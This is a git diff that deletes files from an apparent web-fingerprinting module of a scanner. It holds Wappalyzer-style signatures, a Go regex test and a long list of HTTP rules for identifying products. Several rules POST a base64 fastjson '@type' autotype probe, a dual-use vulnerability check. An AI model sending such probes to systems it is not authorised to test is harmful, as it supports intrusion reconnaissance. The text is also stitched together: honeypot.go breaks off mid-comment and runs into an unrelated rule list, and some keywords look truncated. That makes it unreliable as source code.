"https://totaljs.com" - }, - "uKnowva": { - "headers": { - "x-content-encoded-by": "uknowva ([\\d.]+)\\;version:\\1" - }, - "html": [ - "\u003ca[^\u003e]+\u003epowered by uknowva\u003c/a\u003e" - ], - "meta": { - "generator": [ - "uknowva (?: ([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "https://uknowva.com" - }, - "uLogin": { - "js": [ - "ulogin.version" - ], - "description": "uLogin is a tool that enables its users to get unified access to various Internet services.", - "website": "https://ulogin.ru" - }, - "uMarketingSuite": { - "js": [ - "umarketingsuite" - ], - "implies": [ - "Umbraco" - ], - "description": "uMarketingSuite is a set of diverse features that together form a full marketing suite for the Umbraco platform.", - "website": "https://www.umarketingsuite.com" - }, - "uPlot": { - "js": [ - "uplot" - ], - "description": "uPlot is a small, fast chart for time series, lines, areas, ohlc and bars.", - "website": "https://leeoniya.github.io/uPlot" - }, - "uPortal": { - "js": [ - "uportal" - ], - "meta": { - "description": [ - " uportal " - ] - }, - "implies": [ - "Java" - ], - "description": "uPortal is an open source enterprise portal framework built by and for higher education institutions.", - "website": "https://www.apereo.org/projects/uportal" - }, - "uRemediate": { - "description": "uRemediate provides web accessibility testing tools and accessibility overlays.", - "website": "https://www.user1st.com/uremediate/" - }, - "user.com": { - "js": [ - "userengage" - ], - "html": [ - "\u003cdiv[^\u003e]+/id=\"ue_widget\"" - ], - "website": "https://user.com" - }, - "utterances": { - "description": "Utterances is a lightweight comments widget built on GitHub issues.", - "website": "https://utteranc.es/" - }, - "vBulletin": { - "cookies": { - "bblastactivity": "", - "bblastvisit": "", - "bbsessionhash": "" - }, - "js": [ - "vbulletin" - ], - "html": [ - "\u003cdiv id=\"copyright\"\u003epowered by vbulletin" - ], - "meta": { - "generator": [ - "vbulletin ?([\\d.]+)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "vBulletin is tool that is used to create and manage online forums or discussion boards. It is written in PHP and uses a MySQL database server.", - "website": "https://www.vbulletin.com" - }, - "vcita": { - "js": [ - "livesite.btcheckout", - "vcita" - ], - "description": "vcita is an all-in-one customer service and business management software designed for service providers.", - "website": "https://www.vcita.com" - }, - "vibecommerce": { - "meta": { - "designer": [ - "vibecommerce" - ], - "generator": [ - "vibecommerce" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://vibecommerce.com.br" - }, - "vxe-table": { - "description": "vxe-table is a Vue.js based PC form component, support add, delete, change, virtual scroll, lazy load, shortcut menu, data validation, tree structure, print export, form rendering, data paging, virtual list, modal window, custom template, renderer, flexible configuration items, extension interface.", - "website": "https://vxetable.cn" - }, - "wBuy": { - "description": "wBuy is a SaaS ecommerce platform.", - "website": "https://www.wbuy.com.br" - }, - "wap.store": { - "js": [ - "wapstore.categoria" - ], - "implies": [ - "MySQL" - ], - "description": "The wap.store provides a range of services for ecommerce businesses, including a platform, a marketplace hub, and a digital agency.", - "website": "https://www.wapstore.com.br" - }, - "web-vitals": { - "js": [ - "webvitals" - ], - "description": "The web-vitals JavaScript is a tiny, modular library for measuring all the web vitals metrics on real users.", - "website": "https://github.com/GoogleChrome/web-vitals" - }, - "webEdition": { - "meta": { - "dc.title": [ - "webedition" - ], - "generator": [ - "webedition" - ] - }, - "website": "http://webedition.de/en" - }, - "wisyCMS": { - "meta": { - "generator": [ - "^wisy cms[ v]{0,3}([0-9.,]*)\\;version:\\1" - ] - }, - "website": "https://wisy.3we.de" - }, - "wpBakery": { - "meta": { - "generator": [ - "wpbakery" - ] - }, - "implies": [ - "PHP" - ], - "description": "WPBakery is a drag and drop visual page builder plugin for WordPress.", - "website": "https://wpbakery.com" - }, - "wpCache": { - "headers": { - "x-powered-by": "wpcache(?:/([\\d.]+))?\\;version:\\1" - }, - "html": [ - "\u003c!--[^\u003e]+wpcache" - ], - "meta": { - "generator": [ - "wpcache" - ], - "keywords": [ - "wpcache" - ] - }, - "implies": [ - "PHP" - ], - "description": "WPCache is a static caching plugin for WordPress.", - "website": "https://wpcache.co" - }, - "xCharts": { - "js": [ - "xchart" - ], - "html": [ - "\u003clink[^\u003e]* href=\"[^\"]*xcharts(?:\\.min)?\\.css" - ], - "implies": [ - "D3" - ], - "website": "https://tenxer.github.io/xcharts/" - }, - "xtCommerce": { - "html": [ - "\u003cdiv class=\"copyright\"\u003e[^\u003c]+\u003ca[^\u003e]+\u003ext:commerce" - ], - "meta": { - "generator": [ - "xt:commerce" - ] - }, - "website": "https://www.xt-commerce.com" - }, - "yellow.ai": { - "js": [ - "ymconfig" - ], - "description": "yellow.ai provides chatbot and automation services.", - "website": "https://yellow.ai/" - } - } -} \ No newline at end of file diff --git a/fingprints/webserver/wappalyzergo/fingerprints_test.go b/fingprints/webserver/wappalyzergo/fingerprints_test.go deleted file mode 100644 index edeca72..0000000 --- a/fingprints/webserver/wappalyzergo/fingerprints_test.go +++ /dev/null @@ -1,21 +0,0 @@ -package wappalyzergo - -import ( - "testing" - - "github.com/stretchr/testify/require" -) - -func TestVersionRegex(t *testing.T) { - regex, err := newVersionRegex("JBoss(?:-([\\d.]+))?\\;confidence:50\\;version:\\1") - require.NoError(t, err, "could not create version regex") - - matched, version := regex.MatchString("JBoss-2.3.9") - require.True(t, matched, "could not get version regex match") - require.Equal(t, "2.3.9", version, "could not get correct version") - - t.Run("confidence-only", func(t *testing.T) { - _, err := newVersionRegex("\\;confidence:50") - require.NoError(t, err, "could create invalid version regex") - }) -} diff --git a/fingprints/webserver/wappalyzergo/honeypot.go b/fingprints/webserver/wappalyzergo/honeypot.go deleted file mode 100644 index d5097b1..0000000 --- a/fingprints/webserver/wappalyzergo/honeypot.go +++ /dev/null @@ -1,38 +0,0 @@ -package wappalyzergo - -import ( - "github.com/thoas/go-funk" - regexp "github.com/wasilibs/go-re2" - "strings" -) - -/** - @author: yhy - @since: 2022/8/17 - @desc: 简单蜜罐指纹 -**/ - -// var regexMap map[string][]string -// -// func init() { -// regexMap = make(map[string][]string) -// -// /* -// " - ], - "favicon_hash": [], - "priority": 3, - "name": "act-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by activecollab" - ], - "favicon_hash": [], - "priority": 3, - "name": "activecollab" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "

", - "Acunetix" - ], - "favicon_hash": [], - "priority": 1, - "name": "acunetix-wvs" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "action=\"/maxview/manager/login.xhtml" - ], - "favicon_hash": [], - "priority": 3, - "name": "adaptec-maxview" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<img src=\"/img/logo.png\" alt=\"adimoney\"/>" - ], - "favicon_hash": [], - "priority": 3, - "name": "adimoney" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"adimoney.com mobile advertisement network. " - ], - "favicon_hash": [], - "priority": 3, - "name": "adimoney" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "adiscon gmbh" - ], - "favicon_hash": [], - "priority": 2, - "name": "adiscon-loganalyzer" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "://www.adminer.org/' target=\"_blank\" rel=\"noreferrer" - ], - "favicon_hash": [], - "priority": 1, - "name": "adminer" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/common/scripts/showcontent.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "adobe-connect" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "_jcr_content" - ], - "favicon_hash": [], - "priority": 3, - "name": "adobe-cq5" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "tag{background:url(login/clientlib/resources/adobe-logo.png)" - ], - "favicon_hash": [], - "priority": 3, - "name": "adobe-experience-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "adobe flex" - ], - "favicon_hash": [], - "priority": 2, - "name": "adobe-flex" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "learn more about flex at http://flex.org" - ], - "favicon_hash": [], - "priority": 2, - "name": "adobe-flex" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "generator\" content=\"adobe golive" - ], - "favicon_hash": [], - "priority": 3, - "name": "adobe-golive" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/skin/frontend/" - ], - "favicon_hash": [], - "priority": 3, - "name": "adobe-magento" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "blank_img" - ], - "favicon_hash": [], - "priority": 3, - "name": "adobe-magento" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "generator\" content=\"adobe robohelp" - ], - "favicon_hash": [], - "priority": 3, - "name": "adobe-robohelp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"tpn,vpn,内网安全,内网控制,主机防护\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "adt-iam" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "iam", - "src=\"/page/assets/javascripts/adt.js\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "adt-iam网关控制台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "sjw74", - "src=\"./system/usbkey.js\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "adt-sjw74-vpn网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "tpn-2g", - "src=\"./system/usbkey.js\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "adt-tpn-2g网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by aef" - ], - "favicon_hash": [], - "priority": 3, - "name": "advanced-electron-forum" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/bw_templete1.dwt" - ], - "favicon_hash": [], - "priority": 2, - "name": "advantech-webaccess" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/broadweb/webaccessclientsetup.exe" - ], - "favicon_hash": [], - "priority": 2, - "name": "advantech-webaccess" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/broadweb/bwuconfig.asp" - ], - "favicon_hash": [], - "priority": 2, - "name": "advantech-webaccess" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "remote manage your intelligent systems" - ], - "favicon_hash": [], - "priority": 3, - "name": "advantech_wise" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "navigator.serviceworker.register('/adviserlogiccache.js')" - ], - "favicon_hash": [], - "priority": 3, - "name": "adviserlogiccli" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "afterlogic webmail pro" - ], - "favicon_hash": [], - "priority": 3, - "name": "afterlogic-webmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"logo-element\">agile-bpm" - ], - "favicon_hash": [], - "priority": 3, - "name": "agilebpm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"logo-element\">bpm" - ], - "favicon_hash": [], - "priority": 3, - "name": "agilebpm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/agora.cgi?product=", - "/store/agora.cgi" - ], - "favicon_hash": [], - "priority": 3, - "name": "agoracgi" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "trusguard ssl vpn client" - ], - "favicon_hash": [], - "priority": 3, - "name": "ahnlab-trusguard-ssl-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "http://www.aidex.de/" - ], - "favicon_hash": [], - "priority": 2, - "name": "aidex" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<font class=\"bottomfont\">航天信息股份有限公司 电信行业版" - ], - "favicon_hash": [], - "priority": 3, - "name": "aisino-telecom" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "action=\"/ajenti:auth\"", - "src=\"/ajenti:static/" - ], - "favicon_hash": [], - "priority": 3, - "name": "ajenti-server-admin-panel" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by webboard" - ], - "favicon_hash": [], - "priority": 3, - "name": "akiva-webboard" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "valoriserdiv5" - ], - "favicon_hash": [], - "priority": 3, - "name": "alcasar" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/help/en-us/others/ov-cirrus_cookiepolicy.html" - ], - "favicon_hash": [], - "priority": 3, - "name": "alcatel_lucent-omnivista-cirrus" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "alcatel-lucent", - "欢迎登陆网页配置界面" - ], - "favicon_hash": [], - "priority": 3, - "name": "alcatel_lucent-企业网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/monitor/css/monitor.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "ali-monitoring-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/monitor/monitoritem/monitoritemlist.htm" - ], - "favicon_hash": [], - "priority": 3, - "name": "ali-monitoring-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<title>AnyProxy", - "dist/main.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-anyproxy" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "js/base/fastjson" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-fastjson" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var json = json.parse" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-fastjson" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "com.alibaba.fastjson.JSONException" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-fastjson" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "unclosed string" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-fastjson" - }, - { - "path": "/", - "request_method": "post", - "request_headers": {}, - "request_data": "e0B0eXBlOmphdmEubGFuZy5BdXRvQ2xvc2VhYmxl", - "status_code": 0, - "headers": {}, - "keyword": [ - "fastjson", - "version" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-fastjson" - }, - { - "path": "/", - "request_method": "post", - "request_headers": {}, - "request_data": "e0B0eXBlOmphdmEubGFuZy5BdXRvQ2xvc2VhYmxl", - "status_code": 0, - "headers": {}, - "keyword": [ - "illegal identifier : @pos 1, json : {@type:java.lang.autocloseable" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-fastjson" - }, - { - "path": "/", - "request_method": "post", - "request_headers": {}, - "request_data": "e0B0eXBlOmphdmEubGFuZy5BdXRvQ2xvc2VhYmxl", - "status_code": 0, - "headers": {}, - "keyword": [ - "syntax error, expect {, actual error, pos 0" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-fastjson" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "copyright © dms all rights reserved (alibaba 数据管理产品)" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-group-dms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"tlog 实时数据处理" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-group-tlog" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Nacos" - ], - "favicon_hash": [], - "priority": 1, - "name": "alibaba-nacos" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"阿里企业邮箱", - "action=\"/alimail/error/browserlog" - ], - "favicon_hash": [], - "priority": 3, - "name": "alibaba-企业邮箱" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"legend\">rds管理系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "aliyun-rds" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "cdn.aliyuncs.com" - ], - "favicon_hash": [], - "priority": 2, - "name": "aliyuncdn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "aliyunoss" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "aliyunoss" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "window.location = \"/swp/group/admin\";" - ], - "favicon_hash": [], - "priority": 2, - "name": "alliance-web-platform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"technology_communion.asp" - ], - "favicon_hash": [], - "priority": 3, - "name": "alstom-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id=\"dvlogo\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "am-websystem" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "amazeui.min.js" - ], - "favicon_hash": [], - "priority": 2, - "name": "amaze-ui" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "amazeui.js" - ], - "favicon_hash": [], - "priority": 2, - "name": "amaze-ui" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "amazeui.css" - ], - "favicon_hash": [], - "priority": 2, - "name": "amaze-ui" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "北京众恒志信科技" - ], - "favicon_hash": [], - "priority": 3, - "name": "ambuf-onlineexam" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ami megarac sp" - ], - "favicon_hash": [], - "priority": 2, - "name": "ami-megarac-sp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ami megarac spx" - ], - "favicon_hash": [], - "priority": 3, - "name": "ami-megarac-spx" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "安信华下一代防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "anchiva-下一代防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"erwin aligam - ealigam@gmail.com" - ], - "favicon_hash": [], - "priority": 3, - "name": "anecms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "

版权所有:上海安脉计算机科技有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "anmai-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id=\"lblname1\">版权所有:上海安脉计算机科技有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "anmai-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "上海安脉计算机科技有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "anmai-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"http://www.anneca.cz\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "anneca-intouch-crm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "setcookie(\"asglanguage\",document.form1.planguage.value)" - ], - "favicon_hash": [], - "priority": 3, - "name": "anta-asg" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "document.aa.f_email" - ], - "favicon_hash": [], - "priority": 3, - "name": "anymacro-邮件系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "vcode.aspx" - ], - "favicon_hash": [], - "priority": 3, - "name": "aolansoft-studentsystem" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "default/apabi.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "apabi-digital-resource-platform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Apache ActiveMQ" - ], - "favicon_hash": [], - "priority": 1, - "name": "apache-activemq" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Airflow" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-airflow" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/static/pin_100.png\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-airflow" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "airflow" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-airflow" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "\"/licenses/NOTICE.txt\"", - "Ambari" - ], - "favicon_hash": [], - "priority": 1, - "name": "apache-ambari" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "server": "apisix" - }, - "keyword": [ - "{\"error_msg\":\"404 Route Not Found\"}" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-apisix" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "server": "apisix" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-apisix" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "apache apisix dashboard" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-apisix-dashboard" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "6d07440dcda38480ac6fd8c32edf0102" - ], - "priority": 3, - "name": "apache-apisix-dashboard" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/archiva.js" - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-archiva" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/archiva.css" - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-archiva" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "http://ws.apache.org/axis2" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-axis" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "axis2-admin", - "axis2-web" - ], - "favicon_hash": [], - "priority": 1, - "name": "apache-axis2" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "X-Cocoon-Version": "*" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-cocoon" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "x-couchdb-body-time": "0", - "Server": "CouchDB" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-couchdb" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "2ab2aae806e8393b70970b2eaace82e0" - ], - "priority": 3, - "name": "apache-couchdb" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "content=\"Apache Druid console\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-druid" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "www-authenticate": "Basic realm=\"dubbo\"" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-dubbo" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "Apache Flink Web Dashboard" - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-flink" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "\"apachethe apache haus" - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-haus" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "server": "Apache" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-http" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-kylin" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/kylin/\"" - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-kylin" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "\"apache" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-mesos" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/nifi" - ], - "favicon_hash": [], - "priority": 1, - "name": "apache-nifi" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Powered by OFBiz" - ], - "favicon_hash": [], - "priority": 1, - "name": "apache-ofbiz" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "oozie-console" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-oozie-web-console" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": 